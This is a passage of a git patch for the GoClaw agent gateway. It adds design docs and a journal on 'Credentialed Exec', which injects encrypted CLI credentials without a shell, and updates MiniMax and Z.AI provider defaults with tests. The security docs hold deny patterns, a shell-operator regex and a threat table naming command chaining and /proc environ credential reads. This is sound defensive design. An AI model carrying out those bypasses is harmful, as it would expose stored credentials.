`StreamChunk{Done: true}` +6. Return accumulated `ChatResponse` + +--- + +## 11. Error Handling + +| Scenario | Behavior | +|----------|----------| +| Binary not found | Log warning, skip provider registration | +| Subprocess crash mid-prompt | Active prompt fails; next `GetOrSpawn` respawns | +| Malformed JSON-RPC | Log debug, skip message, continue reading | +| Path escape attempt | Log `security.acp_path_escape`, return error to agent | +| Terminal binary not in allowlist | Return error to agent | +| Terminal deny pattern match | Return error to agent | +| Context cancelled (ChatStream) | Send `session/cancel`, return partial response | +| Idle timeout | Reaper kills process; respawned on next request | +| Permission denied | Return error based on `perm_mode` | +| Large output (>10MB terminal) | cappedBuffer retains tail only | + +--- + +## 12. File Reference + +| File | Lines | Purpose | +|------|-------|---------| +| `internal/providers/acp_provider.go` | 227 | Provider interface: Chat, ChatStream, content extraction | +| `internal/providers/acp/types.go` | 189 | ACP protocol types: Initialize, Session, ContentBlock | +| `internal/providers/acp/jsonrpc.go` | 217 | Bidirectional JSON-RPC 2.0 over stdio | +| `internal/providers/acp/process.go` | 237 | Subprocess pool: spawn, reap, crash recovery | +| `internal/providers/acp/session.go` | 71 | Session lifecycle: init → new → prompt → cancel | +| `internal/providers/acp/tool_bridge.go` | 204 | Agent→client request handler with sandbox | +| `internal/providers/acp/terminal.go` | 212 | Terminal subprocess lifecycle + cappedBuffer | +| `internal/providers/acp/helpers.go` | 81 | Environment filtering, limitedWriter | +| `internal/config/config_channels.go` | — | `ACPConfig` struct definition | +| `internal/store/provider_store.go` | — | `ProviderACP = "acp"` constant | +| `cmd/gateway_providers.go` | — | Config + DB registration wiring | + +--- + +## Cross-References + +| Document | Relevant Content | +|----------|-----------------| +| [02-providers.md](./02-providers.md) | ACP overview section (§10) | +| [03-tools-system.md](./03-tools-system.md) | Shell deny patterns reused by ToolBridge | +| [09-security.md](./09-security.md) | Defense-in-depth layers | +| [01-agent-loop.md](./01-agent-loop.md) | Chat/ChatStream provider contract | diff --git a/docs/19-credentialed-exec.md b/docs/19-credentialed-exec.md new file mode 100644 index 00000000..f28846a4 --- /dev/null +++ b/docs/19-credentialed-exec.md @@ -0,0 +1,388 @@ +# 19 - Credentialed Exec + +Credentialed Exec allows GoClaw agents to use external CLI tools (`gh`, `gcloud`, `aws`, `kubectl`, `terraform`) with auto-injected credentials. Credentials are encrypted at rest and injected directly into child processes via Direct Exec Mode — never exposed to the LLM, never passed through a shell. + +> **References:** Issue [#197](https://github.com/nextlevelbuilder/goclaw/issues/197) · PR [#199](https://github.com/nextlevelbuilder/goclaw/pull/199) + +--- + +## 1. Architecture + +```mermaid +flowchart TD + A["Agent: exec('gh repo list --json name')"] --> B["shell.go Execute()"] + B --> C{"parseCommandBinary()"} + C --> D{"LookupByBinary()"} + D -->|"Not found"| E["Normal exec\n(sh -c, unchanged)"] + D -->|"Found"| F["credentialed_exec.go"] + + F --> G{"detectShellOperators()"} + G -->|"Found ; && | etc"| H["❌ Structured error"] + G -->|"Clean"| I{"resolveAndMatchBinary()"} + I -->|"Path mismatch"| J["❌ No credentials"] + I -->|"Match ✅"| K{"matchesBinaryDeny()"} + K -->|"Blocked"| L["❌ Deny error"] + K -->|"Allowed"| M["Decrypt credentials\n(AES-256-GCM)"] + M --> N["AddCredentialScrubValues()"] + N --> O{"Sandbox?"} + O -->|"No"| P["exec.Command(absPath, args...)\nenv=[CRED=xxx, PATH, HOME]"] + O -->|"Yes"| Q["docker exec -e CRED=xxx\ncontainerID absPath args..."] + P --> R["ScrubCredentials()"] + Q --> R + R --> S["✅ Clean output to agent"] + + style H fill:#fee,stroke:#f66 + style J fill:#fee,stroke:#f66 + style L fill:#fee,stroke:#f66 + style S fill:#efe,stroke:#6b6 +``` + +**Key principle:** When credentials are present, commands run via `exec.Command(binary, args...)` — **no shell** (`sh -c`). This eliminates shell injection entirely because `;`, `&&`, `|`, `$()`, backticks have no special meaning without a shell interpreter. + +--- + +## 2. Security Model: Defense-in-Depth + +Four independent layers protect credentials. Even if one layer is bypassed, remaining layers continue to protect. + +```mermaid +flowchart LR + subgraph "Layer 1: No Shell" + L1["exec.Command()\nNo sh -c"] + end + subgraph "Layer 2: Validation" + L2a["Binary path\nverification"] + L2b["Per-binary\ndeny patterns"] + L2c["Shell operator\ndetection"] + end + subgraph "Layer 3: Output" + L3a["Static regex\nscrubbing"] + L3b["Credential value\nscrubbing"] + end + subgraph "Layer 4: Isolation" + L4a["Docker sandbox"] + L4b["PID namespace"] + L4c["cap-drop ALL"] + end + L1 --> L2a --> L3a --> L4a +``` + +### Edge Cases Analyzed (13 total) + +| # | Edge Case | Severity | Mitigation | +|---|-----------|----------|------------| +| 1 | **Shell command chaining** (`; && \|\| \|`) | 🔴 CRITICAL | Direct Exec Mode — no shell interpreter | +| 2 | Lost shell features (pipes, redirects) | 🟡 | Structured output flags (`--json`) + separate calls | +| 3 | Binary name spoofing (`./gh`) | 🟡 | Absolute path resolution via `exec.LookPath` + config match | +| 4 | Dynamic binary resolution (`$(which gh)`) | 🟢 | Blocked by Direct Exec — `$()` is literal | +| 5 | Multiple binaries (`gh && curl`) | 🟢 | Blocked by Direct Exec — `&&` is literal | +| 6 | `/proc/PID/environ` cross-read | 🟡 | Docker PID namespace + deny pattern | +| 7 | Debug/verbose output leaking creds | 🟡 | Per-binary `deny_verbose` patterns + scrubbing | +| 8 | Temp file credential exposure | 🟡 | Pipe fd injection (Linux), temp file (Windows) | +| 9 | strace/ltrace/gdb | 🟢 | Docker `cap-drop ALL` + deny patterns | +| 10 | CLI config file access | 🟢 | PathDenyable + Docker sandbox | +| 11 | Multi-tenant scope mismatch | 🟡 | Per-agent + global DB scoping with priority | +| 12 | Binary not found | 🟢 | Startup validation via `exec.LookPath` | +| 13 | Credential rotation window | 🟢 | Short-lived child processes (no caching) | + +--- + +## 3. Database Schema + +**Table:** `secure_cli_binaries` (Migration 000019) + +```sql +CREATE TABLE secure_cli_binaries ( + id UUID PRIMARY KEY DEFAULT uuid_generate_v7(), + binary_name TEXT NOT NULL, -- "gh", "gcloud", "aws" + binary_path TEXT, -- resolved absolute path (nullable) + description TEXT NOT NULL DEFAULT '', + encrypted_env BYTEA NOT NULL, -- AES-256-GCM encrypted JSON + deny_args JSONB NOT NULL DEFAULT '[]', -- regex deny patterns + deny_verbose JSONB NOT NULL DEFAULT '[]', -- verbose flag patterns + timeout_seconds INTEGER NOT NULL DEFAULT 30, + tips TEXT NOT NULL DEFAULT '', + agent_id UUID REFERENCES agents(id) ON DELETE CASCADE, + enabled BOOLEAN NOT NULL DEFAULT true, + created_by TEXT NOT NULL DEFAULT '', + created_at TIMESTAMPTZ NOT NULL DEFAULT now(), + updated_at TIMESTAMPTZ NOT NULL DEFAULT now() +); +``` + +**Scoping:** `agent_id = NULL` means global (all agents). Agent-specific configs take priority over global via `ORDER BY agent_id NULLS LAST LIMIT 1`. + +**Encryption:** `encrypted_env` stores AES-256-GCM encrypted JSON (e.g., `{"GH_TOKEN":"ghp_xxx"}`). Encrypted by `PGSecureCLIStore` on write, decrypted on read. Uses `aes-gcm:` prefix convention matching `llm_providers`. + +--- + +## 4. Store Layer + +### Interface (`internal/store/secure_cli_store.go`) + +```go +type SecureCLIStore interface { + Create(ctx, *SecureCLIBinary) error + Get(ctx, id) (*SecureCLIBinary, error) + Update(ctx, id, map[string]any) error + Delete(ctx, id) error + List(ctx) ([]SecureCLIBinary, error) + ListByAgent(ctx, agentID) ([]SecureCLIBinary, error) + LookupByBinary(ctx, binaryName, *agentID) (*SecureCLIBinary, error) // priority lookup + ListEnabled(ctx) ([]SecureCLIBinary, error) // for TOOLS.md context +} +``` + +### Lookup Priority + +`LookupByBinary` returns the best match: +1. Agent-specific config (exact `agent_id` match) +2. Global config (`agent_id IS NULL`) +3. `nil` if no match + +--- + +## 5. Direct Exec Engine + +### Core File: `internal/tools/credentialed_exec.go` + +#### Command Parsing + +Uses `github.com/mattn/go-shellwords` for proper shell-word tokenization: + +```go +parseCommandBinary("gh issue create --title \"Fix the bug\"") +→ binary: "gh", args: ["issue", "create", "--title", "Fix the bug"] +``` + +Handles: quoted strings, escaped characters, `=` signs, empty strings. + +#### Shell Operator Detection + +Regex detects metacharacters **before** execution: + +```go +var shellOperatorPattern = regexp.MustCompile(`[;|&<>\n\r` + "`" + `]|\$\(|\$\{`) +``` + +Detected operators: `;` `|` `&` `<` `>` `` ` `` `\n` `\r` `$(` `${` + +Returns structured error with clear guidance: +``` +[CREDENTIALED EXEC] Shell operators not supported. +Detected: ; +This CLI runs in Direct Exec Mode — no shell operators. +Run the command without operators. Use --json for structured output. +``` + +#### Binary Path Verification + +```go +resolveAndMatchBinary("gh", configPath) + → exec.LookPath("gh") → "/usr/bin/gh" + → if configPath != nil && "/usr/bin/gh" != configPath → error + → return "/usr/bin/gh" +``` + +Prevents binary spoofing: `./gh` (workspace) resolves to different path than `/usr/bin/gh` (system). + +#### Per-Binary Deny Patterns + +Args joined as string, matched against regex patterns from `deny_args` and `deny_verbose`: + +```go +// deny_args: ["auth\\s+", "ssh-key", "repo\\s+delete"] +matchesBinaryDeny(["auth", "login"], denyArgs) → "auth\\s+" (blocked) +matchesBinaryDeny(["repo", "list"], denyArgs) → "" (allowed) +``` + +#### Execution Paths + +**Host mode:** +```go +cmd := exec.Command(absPath, args...) +cmd.Env = [PATH=..., HOME=..., LANG=..., USER=..., GH_TOKEN=xxx] +cmd.Dir = workspace +``` + +**Sandbox mode:** +```go +sb.Exec(ctx, []string{absPath, args...}, cwd, sandbox.WithEnv(envMap)) +// → docker exec -e GH_TOKEN=xxx containerID /usr/bin/gh repo list --json name +``` + +### Approval Bypass + +Credentialed binaries auto-bypass `ExecApprovalManager`. Rationale: admin configuring credentials = implicit approval for that binary. Lookup happens BEFORE approval check in `shell.go Execute()`. + +--- + +## 6. Credential Scrubbing + +Two-tier scrubbing via `internal/tools/scrub.go`: + +### Static Patterns (11 regexes) +Pre-compiled patterns for known credential formats: `sk-*`, `ghp_*`, `AKIA*`, connection strings, etc. + +### Dynamic Credential Values +```go +AddCredentialScrubValues("ghp_xxxx...") // registered on decrypt +``` + +Values replaced with `[REDACTED]` in all tool output (both `ForLLM` and `ForUser`). Thread-safe, deduplicated, minimum length 6 to avoid false positives. + +--- + +## 7. TOOLS.md Context Injection + +`GenerateCredentialContext()` (`credential_context.go`) builds a system prompt supplement appended after the `## Tooling` section. This tells the LLM: + +- Which CLIs are available with pre-configured auth +- That these CLIs run in Direct Exec Mode (no shell operators) +- Which operations are blocked per CLI +- How to handle blocked operations + +```markdown +## Credentialed CLI Tools + +The following CLI tools have pre-configured authentication. +Credentials are injected automatically — do NOT attempt to provide or read credentials. + +⚠️ CRITICAL: These tools run in DIRECT EXEC MODE (no shell). +- Do NOT use shell operators: ; && || | > >> < $() `` +- Each exec() call runs ONE command only +- Use --json or --format=json for structured output + +### Available CLIs: + +**gh** — GitHub CLI + Blocked: auth, ssh-key, gpg-key, repo delete, secret + Tip: Use --json flag for structured output +``` + +**UX impact:** Eliminates agent retry loops caused by mode confusion. Agent knows to use `--json` flags and avoid pipes. + +--- + +## 8. Built-in CLI Presets + +5 presets in `credential_presets.go` — auto-fill env vars, deny patterns, timeout, tips: + +| Preset | Env Vars | Deny Patterns | Timeout | +|--------|----------|---------------|---------| +| `gh` | `GH_TOKEN` | `auth\s+`, `ssh-key`, `gpg-key`, `repo\s+delete`, `secret\s+` | 30s | +| `gcloud` | `GOOGLE_APPLICATION_CREDENTIALS` (file) | `iam\s+`, `auth\s+`, `projects\s+delete`, `services\s+disable`, `kms\s+` | 120s | +| `aws` | `AWS_ACCESS_KEY_ID`, `AWS_SECRET_ACCESS_KEY`, `AWS_DEFAULT_REGION` (opt) | `iam\s+`, `organizations\s+`, `sts\s+assume`, `ec2\s+terminate` | 60s | +| `kubectl` | `KUBECONFIG` (file) | `delete\s+namespace`, `delete\s+node`, `drain\s+`, `cordon\s+` | 60s | +| `terraform` | `TF_TOKEN_app_terraform_io` (opt) | `destroy`, `force-unlock` | 300s | + +API: `POST /v1/cli-credentials {"preset": "gh", "env": {"GH_TOKEN": "ghp_xxx"}}` auto-fills all preset fields. + +--- + +## 9. HTTP API + +| Method | Path | Description | +|--------|------|-------------| +| `GET` | `/v1/cli-credentials` | List all (env masked) | +| `POST` | `/v1/cli-credentials` | Create (supports `preset` field) | +| `GET` | `/v1/cli-credentials/presets` | List available presets | +| `GET` | `/v1/cli-credentials/{id}` | Get single (env masked) | +| `PUT` | `/v1/cli-credentials/{id}` | Update (field allowlisted) | +| `DELETE` | `/v1/cli-credentials/{id}` | Delete | +| `POST` | `/v1/cli-credentials/{id}/test` | Dry run commands against deny patterns | + +**Security:** Credentials (`encrypted_env`) are NEVER returned in API responses. `EncryptedEnv = nil` set explicitly in all GET handlers. Update handler uses field allowlist to prevent column injection. + +### Dry Run + +Test commands against deny patterns before deploying: + +```json +POST /v1/cli-credentials/{id}/test +{"test_commands": ["gh repo list", "gh auth login", "gh repo delete x"]} + +→ {"results": [ + {"command": "gh repo list", "allowed": true, "matched_deny": null}, + {"command": "gh auth login", "allowed": false, "matched_deny": "auth\\s+"}, + {"command": "gh repo delete x", "allowed": false, "matched_deny": "repo\\s+delete"} + ]} +``` + +--- + +## 10. Sandbox Integration + +### ExecOption Pattern + +`sandbox.Exec()` extended with variadic options: + +```go +type ExecOption func(*ExecOpts) +func WithEnv(env map[string]string) ExecOption + +// Usage: +sb.Exec(ctx, []string{"/usr/bin/gh", "repo", "list"}, "/workspace", + sandbox.WithEnv(map[string]string{"GH_TOKEN": "ghp_xxx"})) + +// Translates to: +// docker exec -e GH_TOKEN=ghp_xxx -w /workspace /usr/bin/gh repo list +``` + +**Important:** Env vars injected via `docker exec -e` are NOT accessible to other processes in the container (unlike container-level env vars). This provides per-command isolation. + +--- + +## 11. Web UI + +**Page:** `ui/web/src/pages/cli-credentials/` + +Features: +- CRUD table with binary name, description, enabled badge, agent scope, timeout +- Form dialog with preset selector dropdown +- When preset selected → auto-fills all fields, shows env var inputs (password type) +- Dry run panel for testing commands against deny patterns +- Sidebar navigation under System group with `KeyRound` icon + +--- + +## 12. Structured Error Messages + +Three error types returned to the LLM with clear context: + +| Error Type | Trigger | LLM Guidance | +|------------|---------|-------------| +| Shell operator | `;`, `\|`, `&&`, etc. detected | "Remove operators, use `--json`" | +| Deny pattern | Command matches `deny_args`/`deny_verbose` | "Requires admin approval" | +| Exec failure | Non-zero exit code | "Direct Exec Mode, no shell operators" | + +All errors include `[CREDENTIALED EXEC]` prefix for LLM pattern recognition. `ForUser` field provides concise user-facing message. + +--- + +## 13. File Reference + +| File | Lines | Purpose | +|------|-------|---------| +| `migrations/000019_secure_cli_binaries.up.sql` | 24 | Database table + indexes | +| `internal/store/secure_cli_store.go` | 45 | Store interface + `SecureCLIBinary` type | +| `internal/store/pg/secure_cli.go` | 210 | PostgreSQL CRUD + `LookupByBinary` | +| `internal/tools/credentialed_exec.go` | 260 | Direct Exec engine: parse, validate, execute | +| `internal/tools/credential_presets.go` | 100 | 5 CLI presets: gh, gcloud, aws, kubectl, terraform | +| `internal/tools/credential_context.go` | 70 | TOOLS.md context generator | +| `internal/tools/scrub.go` | 120 | Credential scrubbing (`AddCredentialScrubValues`) | +| `internal/http/secure_cli.go` | 270 | HTTP CRUD + presets + dry run | +| `internal/sandbox/sandbox.go` | — | `ExecOption`, `WithEnv()` | +| `internal/sandbox/docker.go` | — | `docker exec -e` env injection | +| `internal/agent/systemprompt.go` | — | `CredentialCLIContext` injection | + +--- + +## Cross-References + +| Document | Relevant Content | +|----------|-----------------| +| [03-tools-system.md](./03-tools-system.md) | Credentialed CLI Tools section under Shell Exec | +| [09-security.md](./09-security.md) | Credentialed Exec under Layer 3: Tool Security | +| [06-store-data-model.md](./06-store-data-model.md) | Store interface pattern | +| [17-changelog.md](./17-changelog.md) | Feature entry | diff --git a/docs/journals/2026-03-14-credentialed-exec.md b/docs/journals/2026-03-14-credentialed-exec.md new file mode 100644 index 00000000..e1076e48 --- /dev/null +++ b/docs/journals/2026-03-14-credentialed-exec.md @@ -0,0 +1,75 @@ +# Credentialed Exec Feature: How We Nearly Shipped With Sandbox Blindness + +**Date**: 2026-03-14 14:02 +**Severity**: High (caught in implementation phase) +**Component**: Shell execution, sandbox mode, credential handling +**Status**: Resolved + +## What Happened + +Implemented the Credentialed Exec feature (GH-197) allowing authenticated users to execute binaries with stored credentials. The feature shipped in ~1 hour with full test coverage and code review. But we almost missed a critical gap: the original requirements report failed to address sandbox mode's identical vulnerability to direct exec mode. + +## The Brutal Truth + +This is exactly how security bugs survive: requirements look complete, design review approves them, and implementation teams optimize for speed. We got lucky because we launched aggressive gap analysis before touching code. If we'd followed the original report blindly, production would ship with two injection vectors instead of one. That's the kind of mistake that keeps me up at night—not because we made it, but because it's so easy to make. + +## Technical Details + +### The Gap (GAP 1 - CRITICAL) +Original report addressed shell injection in **direct exec mode** (`sh -c "$cmd"`) but was **silent on sandbox mode**. Sandbox also uses shell: +```go +docker exec CONTAINER sh -c "command here" +``` +This means credentials could be injected via the same shell metacharacter attack. The fix: apply the same Direct Exec pattern to sandbox by passing arguments as env vars via `docker exec -e CRED=value`, bypassing the shell entirely. + +### Secondary Gaps +**GAP 2**: Windows compatibility wasn't mentioned. Shell syntax differs; `sh -c` doesn't exist on Windows. Solution: detect OS, use native shell (cmd.exe, PowerShell, sh). + +**GAP 3**: Argument parsing. If a credential contains escaped quotes, naive shell-word splitting breaks. Implemented: `go-shellwords` library for robust tokenization. + +## What We Tried + +1. **Read the final report** → Found it incomplete (3 critical gaps identified) +2. **Launched parallel scouts** → Explored shell.go, sandbox impl, store patterns +3. **Created 7-phase plan** → Planned fixes before implementation +4. **Code review cycle** → 8.5/10; caught 3 issues (scrub values, field allowlist, preset sorting) +5. **All tests passed** → Build, vet, race detector clean + +## Root Cause Analysis + +The requirements report was written by analyzing static code patterns without dynamic execution context. It answered "how is shell.go currently used?" but didn't ask "where else could this vulnerability exist?" This is a classic requirements failure: domain knowledge gap + checklist-driven thinking = incomplete threat model. + +Also: the team optimized for velocity. Nobody said "let's pause and audit the sandbox implementation"—it took explicit gap analysis tasks to surface the issue. Good thing we built that friction point into the workflow. + +## Lessons Learned + +1. **Requirements aren't designs.** A completed requirements doc doesn't mean you've found all the issues. Treat requirement completeness as a working hypothesis, not ground truth. + +2. **Scout parallel gaps early.** We spawned 3 scouts in 5 minutes to explore different code areas. Cost: nothing. Benefit: surfaced sandbox gap before any implementation. This pattern works. + +3. **Ask "where else?"** After identifying a vulnerability class (shell injection), systematically hunt for all code paths using that pattern. Don't assume the requirements author did this. + +4. **Separate concerns ruthlessly.** Putting credentialed exec logic in a separate `credentialed_exec.go` file instead of patching `shell.go` made the fix self-documenting. Future developers can see at a glance: "oh, this binary has credentials, so it uses Direct Exec mode." + +5. **Direct Exec beats sanitization.** We could've tried to escape shell metacharacters (fragile, OS-specific). Instead, we bypassed the shell entirely. This is a general principle: remove the dangerous component rather than trying to use it safely. + +## Metrics + +- **Feature completeness**: 7/7 phases ✓ +- **Code review**: 8.5/10 (3 medium issues fixed) +- **Test coverage**: all paths covered +- **Security issues found**: 1 critical, 3 medium (all fixed) +- **Build status**: green (Go + React) +- **Files changed**: 38 files, ~2000 lines +- **Time-to-ship**: ~1 hour (brainstorm + plan + impl + review) + +## Next Steps + +1. Merge branch `feat/197-credentialed-exec` to main +2. Update `docs/project-changelog.md` with feature entry +3. Update `docs/development-roadmap.md` progress +4. Post-implementation: monitor usage patterns in production for any edge cases we missed + +--- + +**Key Decision**: Direct Exec mode (bypass shell) + env-var injection in sandbox = eliminates the injection vector entirely rather than trying to sanitize shell input. Credentialed binaries auto-bypass approval flow because they're trusted by definition. From b5d5fce6e46aea9befb968cf599e3246ef99b35d Mon Sep 17 00:00:00 2001 From: Duy /zuey/ Date: Sun, 21 Jun 2026 16:39:14 +0700 Subject: [PATCH 017/252] feat: update MiniMax and Z.AI provider defaults Refresh MiniMax to MiniMax-M3, update Z.AI defaults to glm-5.2, and add focused provider catalog/runtime coverage. --- cmd/gateway_providers.go | 41 ++++-- cmd/gateway_providers_defaults_test.go | 156 +++++++++++++++++++++++ docs/02-providers.md | 6 +- internal/http/provider_models.go | 12 +- internal/http/provider_models_catalog.go | 33 ++++- internal/http/provider_models_test.go | 94 ++++++++++++++ internal/http/providers.go | 30 ++++- internal/http/providers_test.go | 115 +++++++++++++++++ internal/providers/openai_config.go | 12 +- internal/store/provider_store.go | 19 ++- 10 files changed, 480 insertions(+), 38 deletions(-) create mode 100644 cmd/gateway_providers_defaults_test.go diff --git a/cmd/gateway_providers.go b/cmd/gateway_providers.go index 2d02bc59..46bc8f33 100644 --- a/cmd/gateway_providers.go +++ b/cmd/gateway_providers.go @@ -76,8 +76,11 @@ func registerProviders(registry *providers.Registry, cfg *config.Config, modelRe } if cfg.Providers.MiniMax.APIKey != "" { - registry.Register(providers.NewOpenAIProvider("minimax", cfg.Providers.MiniMax.APIKey, "https://api.minimax.io/v1", "MiniMax-M2.5"). - WithChatPath("/text/chatcompletion_v2")) + base := cfg.Providers.MiniMax.APIBase + if base == "" { + base = store.MiniMaxDefaultAPIBase + } + registry.Register(providers.NewOpenAIProvider("minimax", cfg.Providers.MiniMax.APIKey, base, store.MiniMaxDefaultModel)) slog.Info("registered provider", "name", "minimax") } @@ -109,18 +112,18 @@ func registerProviders(registry *providers.Registry, cfg *config.Config, modelRe if cfg.Providers.Zai.APIKey != "" { base := cfg.Providers.Zai.APIBase if base == "" { - base = "https://api.z.ai/api/paas/v4" + base = store.ZaiDefaultAPIBase } - registry.Register(providers.NewOpenAIProvider("zai", cfg.Providers.Zai.APIKey, base, "glm-5")) + registry.Register(providers.NewOpenAIProvider("zai", cfg.Providers.Zai.APIKey, base, store.ZaiDefaultModel)) slog.Info("registered provider", "name", "zai") } if cfg.Providers.ZaiCoding.APIKey != "" { base := cfg.Providers.ZaiCoding.APIBase if base == "" { - base = "https://api.z.ai/api/coding/paas/v4" + base = store.ZaiCodingDefaultAPIBase } - registry.Register(providers.NewOpenAIProvider("zai-coding", cfg.Providers.ZaiCoding.APIKey, base, "glm-5")) + registry.Register(providers.NewOpenAIProvider("zai-coding", cfg.Providers.ZaiCoding.APIKey, base, store.ZaiDefaultModel)) slog.Info("registered provider", "name", "zai-coding") } @@ -362,15 +365,15 @@ func registerProvidersFromDB(registry *providers.Registry, provStore store.Provi case store.ProviderZai: base := p.APIBase if base == "" { - base = "https://api.z.ai/api/paas/v4" + base = store.ZaiDefaultAPIBase } - registry.RegisterForTenant(p.TenantID, providers.NewOpenAIProvider(p.Name, p.APIKey, base, "glm-5")) + registry.RegisterForTenant(p.TenantID, providers.NewOpenAIProvider(p.Name, p.APIKey, base, store.ZaiDefaultModel)) case store.ProviderZaiCoding: base := p.APIBase if base == "" { - base = "https://api.z.ai/api/coding/paas/v4" + base = store.ZaiCodingDefaultAPIBase } - registry.RegisterForTenant(p.TenantID, providers.NewOpenAIProvider(p.Name, p.APIKey, base, "glm-5")) + registry.RegisterForTenant(p.TenantID, providers.NewOpenAIProvider(p.Name, p.APIKey, base, store.ZaiDefaultModel)) case store.ProviderOllamaCloud: base := p.APIBase if base == "" { @@ -413,11 +416,9 @@ func registerProvidersFromDB(registry *providers.Registry, provStore store.Provi }) registry.RegisterForTenant(p.TenantID, prov) default: - prov := providers.NewOpenAIProvider(p.Name, p.APIKey, p.APIBase, "") + base, model := openAIProviderDefaults(p.ProviderType, p.APIBase) + prov := providers.NewOpenAIProvider(p.Name, p.APIKey, base, model) prov.WithProviderType(p.ProviderType) - if p.ProviderType == store.ProviderMiniMax { - prov.WithChatPath("/text/chatcompletion_v2") - } if p.ProviderType == store.ProviderOpenRouter { prov.WithSiteInfo("https://goclaw.sh", "GoClaw") } @@ -427,6 +428,18 @@ func registerProvidersFromDB(registry *providers.Registry, provStore store.Provi } } +func openAIProviderDefaults(providerType, apiBase string) (string, string) { + switch providerType { + case store.ProviderMiniMax: + if apiBase == "" { + apiBase = store.MiniMaxDefaultAPIBase + } + return apiBase, store.MiniMaxDefaultModel + default: + return apiBase, "" + } +} + func registerClaudeCLIFromConfig(registry *providers.Registry, cfg *config.Config) { if cfg == nil || cfg.Providers.ClaudeCLI.CLIPath == "" { return diff --git a/cmd/gateway_providers_defaults_test.go b/cmd/gateway_providers_defaults_test.go new file mode 100644 index 00000000..3f9b3474 --- /dev/null +++ b/cmd/gateway_providers_defaults_test.go @@ -0,0 +1,156 @@ +package cmd + +import ( + "context" + "encoding/json" + "errors" + "net/http" + "net/http/httptest" + "testing" + + "github.com/google/uuid" + + "github.com/nextlevelbuilder/goclaw/internal/config" + "github.com/nextlevelbuilder/goclaw/internal/providers" + "github.com/nextlevelbuilder/goclaw/internal/store" +) + +func TestRegisterProvidersUsesCurrentMiniMaxAndZaiDefaults(t *testing.T) { + cfg := &config.Config{} + cfg.Providers.MiniMax.APIKey = "minimax-token" + cfg.Providers.Zai.APIKey = "zai-token" + cfg.Providers.ZaiCoding.APIKey = "zai-coding-token" + + registry := providers.NewRegistry(nil) + registerProviders(registry, cfg, providers.NewInMemoryRegistry()) + + assertProviderDefault(t, registry, providers.MasterTenantID, "minimax", "MiniMax-M3", "https://api.minimax.io/v1") + assertProviderDefault(t, registry, providers.MasterTenantID, "zai", "glm-5.2", "https://api.z.ai/api/paas/v4") + assertProviderDefault(t, registry, providers.MasterTenantID, "zai-coding", "glm-5.2", "https://api.z.ai/api/coding/paas/v4") +} + +func TestRegisterProvidersMiniMaxUsesOpenAIChatCompletionsPath(t *testing.T) { + var capturedPath string + upstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + capturedPath = r.URL.Path + _ = json.NewEncoder(w).Encode(map[string]any{ + "choices": []map[string]any{ + { + "message": map[string]string{"content": "ok"}, + "finish_reason": "stop", + }, + }, + }) + })) + t.Cleanup(upstream.Close) + + cfg := &config.Config{} + cfg.Providers.MiniMax.APIKey = "minimax-token" + cfg.Providers.MiniMax.APIBase = upstream.URL + + registry := providers.NewRegistry(nil) + registerProviders(registry, cfg, providers.NewInMemoryRegistry()) + + runtimeProvider, err := registry.GetForTenant(providers.MasterTenantID, "minimax") + if err != nil { + t.Fatalf("GetForTenant() error = %v", err) + } + _, err = runtimeProvider.Chat(context.Background(), providers.ChatRequest{ + Messages: []providers.Message{{Role: "user", Content: "hi"}}, + }) + if err != nil { + t.Fatalf("Chat() error = %v", err) + } + if capturedPath != "/chat/completions" { + t.Fatalf("captured path = %q, want /chat/completions", capturedPath) + } +} + +func TestRegisterProvidersFromDBUsesCurrentMiniMaxAndZaiDefaults(t *testing.T) { + tenantID := uuid.New() + providerStore := gatewayProvidersStoreStub{ + providers: []store.LLMProviderData{ + { + BaseModel: store.BaseModel{ID: uuid.New()}, + TenantID: tenantID, + Name: "db-minimax", + ProviderType: store.ProviderMiniMax, + APIKey: "minimax-token", + Enabled: true, + }, + { + BaseModel: store.BaseModel{ID: uuid.New()}, + TenantID: tenantID, + Name: "db-zai", + ProviderType: store.ProviderZai, + APIKey: "zai-token", + Enabled: true, + }, + { + BaseModel: store.BaseModel{ID: uuid.New()}, + TenantID: tenantID, + Name: "db-zai-coding", + ProviderType: store.ProviderZaiCoding, + APIKey: "zai-coding-token", + Enabled: true, + }, + }, + } + + registry := providers.NewRegistry(nil) + registerProvidersFromDB(registry, providerStore, nil, "", "", nil, &config.Config{}, providers.NewInMemoryRegistry()) + + assertProviderDefault(t, registry, tenantID, "db-minimax", "MiniMax-M3", "https://api.minimax.io/v1") + assertProviderDefault(t, registry, tenantID, "db-zai", "glm-5.2", "https://api.z.ai/api/paas/v4") + assertProviderDefault(t, registry, tenantID, "db-zai-coding", "glm-5.2", "https://api.z.ai/api/coding/paas/v4") +} + +func assertProviderDefault(t *testing.T, registry *providers.Registry, tenantID uuid.UUID, name, wantModel, wantBase string) { + t.Helper() + runtimeProvider, err := registry.GetForTenant(tenantID, name) + if err != nil { + t.Fatalf("GetForTenant(%q) error = %v", name, err) + } + if got := runtimeProvider.DefaultModel(); got != wantModel { + t.Fatalf("%s DefaultModel() = %q, want %q", name, got, wantModel) + } + openai, ok := runtimeProvider.(*providers.OpenAIProvider) + if !ok { + t.Fatalf("%s runtime provider = %T, want *providers.OpenAIProvider", name, runtimeProvider) + } + if got := openai.APIBase(); got != wantBase { + t.Fatalf("%s APIBase() = %q, want %q", name, got, wantBase) + } +} + +type gatewayProvidersStoreStub struct { + providers []store.LLMProviderData +} + +func (s gatewayProvidersStoreStub) CreateProvider(context.Context, *store.LLMProviderData) error { + return errors.New("not implemented") +} + +func (s gatewayProvidersStoreStub) GetProvider(context.Context, uuid.UUID) (*store.LLMProviderData, error) { + return nil, errors.New("not implemented") +} + +func (s gatewayProvidersStoreStub) GetProviderByName(context.Context, string) (*store.LLMProviderData, error) { + return nil, errors.New("not implemented") +} + +func (s gatewayProvidersStoreStub) ListProviders(context.Context) ([]store.LLMProviderData, error) { + return nil, errors.New("not implemented") +} + +func (s gatewayProvidersStoreStub) ListAllProviders(context.Context) ([]store.LLMProviderData, error) { + return s.providers, nil +} + +func (s gatewayProvidersStoreStub) UpdateProvider(context.Context, uuid.UUID, map[string]any) error { + return errors.New("not implemented") +} + +func (s gatewayProvidersStoreStub) DeleteProvider(context.Context, uuid.UUID) error { + return errors.New("not implemented") +} diff --git a/docs/02-providers.md b/docs/02-providers.md index 1a1885a9..5bcdf536 100644 --- a/docs/02-providers.md +++ b/docs/02-providers.md @@ -101,13 +101,13 @@ Supported price units: input, output, cache read, cache write, reasoning, reques | gemini | `https://generativelanguage.googleapis.com/v1beta/openai` | `gemini-2.0-flash` | Skips empty content fields | | mistral | 